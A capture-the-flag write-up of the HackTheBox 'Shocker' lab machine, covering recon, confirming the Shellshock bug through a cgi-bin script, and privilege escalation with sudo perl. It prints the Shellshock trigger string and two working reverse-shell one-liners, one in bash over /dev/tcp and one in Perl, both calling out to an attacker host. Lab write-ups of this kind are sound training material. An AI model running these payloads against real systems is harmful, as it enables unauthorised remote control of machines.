Ethical Hacking Lessons — Shocker Writeup
This is my write-up for the hackthebox Shocker machine. Back in the day, the discovery of the Shellshock (a.k.a Bash Bug) sent the IT industry in chaos due to its lethal exploit giving attackers the ability to gain control of target computers and run malicious commands. This post demonstrates how a maliciously crafted string could be used to exploit this Bash Bug.
This is a Linux based machine with an IP address of 10.10.10.56. Its radar graph shows CVEs, Real-Life, and Enumeration as key metrics for this box.
Let’s start the active Recon.
Recon
Let’s start active recon with the Nmap TCP scan.
nmap -A -T4 -p- -oX tcp_scan_result.xml 10.10.10.56
Below are the results produced by the scan.
I tried to do a UDP scan across all the ports but that was taking way too long. I waited for over 2 hours and that scan was still running. While that UDP scan still going, I did a quick UDP scan against the top 1000 ports (most common ones) as shown below.
Recon Results Analysis
The scan results are showing TCP port 80 and 2222 open where Apache 2.4.18 and OpenSSH 7.2p2 are running respectively.
Enumeration
Browsing 10.10.10.56 in the browser showed the following page.
Wappalyzer didn’t show anything interesting either.
The source code of this page also did reveal of great interest.
I decided to run DirBuster next to see if there are any hidden files/folders.
It discovered a few folders (cgi-bin, icons, server-staus) with a 403 (Forbidden) response.
The presence of the cgi-bin folder is interesting though because its typically used to host the scripts or Command-line interface programs (CLI) to communicate to the web-server.
Lastly, I gave nikto an attempt. However, it did not find anything significant either.
Since I was not able to find any leads yet, I ran searcsploit against the apache and openssh also. There were some hits but nothing for the Arbitrary or Remote Code execution vulnerability.
Given all my attempts so far failed, I decided to take some hints. Turned out that the HackTheBox machine name many times contains a hint. Since this machine name is Shocker, the most obvious hint it can provide is the shellShock vulnerability. I decided to go back and run the DirBuster again but this time I enabled the recursive search and included cgi and sh file extensions as well.
This time, it discovered a file user.sh under cgi-bin folder with a status code of 200 (OK).
Since the status code is OK, we should be able to browse this file.
This prompted me to download the user.sh file. Below are the contents of the file.
NMap provides a http-shellshock script that could be used to confirm if the target machine is vulnerable.
The script didn’t confirm that shocker is vulnerable to the shellshock vulnerability. However, ippsec in his video for shocker has described the bug in the script and also how to fix it.
The next step is to fire-up the BurpSuite and try to confirm if the shellshock vulnerability exists on this machine.
A simple request to http://10.10.10.56/cgi-bin/user.sh generates follow request/response.
The video available here describes this vulnerability quite well. In a nutshell, a maliciously crafted command following a magic string like below can enable a Remote Code Execution vulnerability.
() { :;};
Let’s test this with an attempt to get a pwd
on the target machine by crafting the command using BurpSuite Repeater feature.
ta-da, we can remotely run the commands on the target machine. This certainly gives us a possibility to get a foot hole.
Enumeration Results Analysis
We were able to confirm that the target machine has a shellshock vulnerability. There are several CVEs associated with this vulnerability.
Exploitation
Our old trusted friend, pentestmonkey, provides following bash script that could be used to try to get a reverse shell.
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
We of course have to change the IP address and the port appropriately. Let’s first launch a listener on our kali box.
Now, let’s craft the command again using the payload for reverse shell as shown below.
That gave us the reverse shell.
As you can see that this is a low privilege shell for a user shelly. Good thing is that shelly has root-level access to run the perl commands. We are also able to locate the user flag with this user.
Since we can run the perl scripts as root, that is an opportunity to get to root flag. Going back to the same pentestmonkey, there is a perl script for getting a reverse shell.
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Let’s change the script with appropriate ip address and port information.
We will have to launch a listener on port 4445. As soon as we ran the perl command, bingo, we got the root shell.
Locating the root flag was just a piece of cake after that.
Root Cause Analysis
- Mis-configurations:
a) A regular user has sudo permission on executing the perl scripts.
b)Files under a forbidden folder were accessible
2. System was not patched for critical security issues.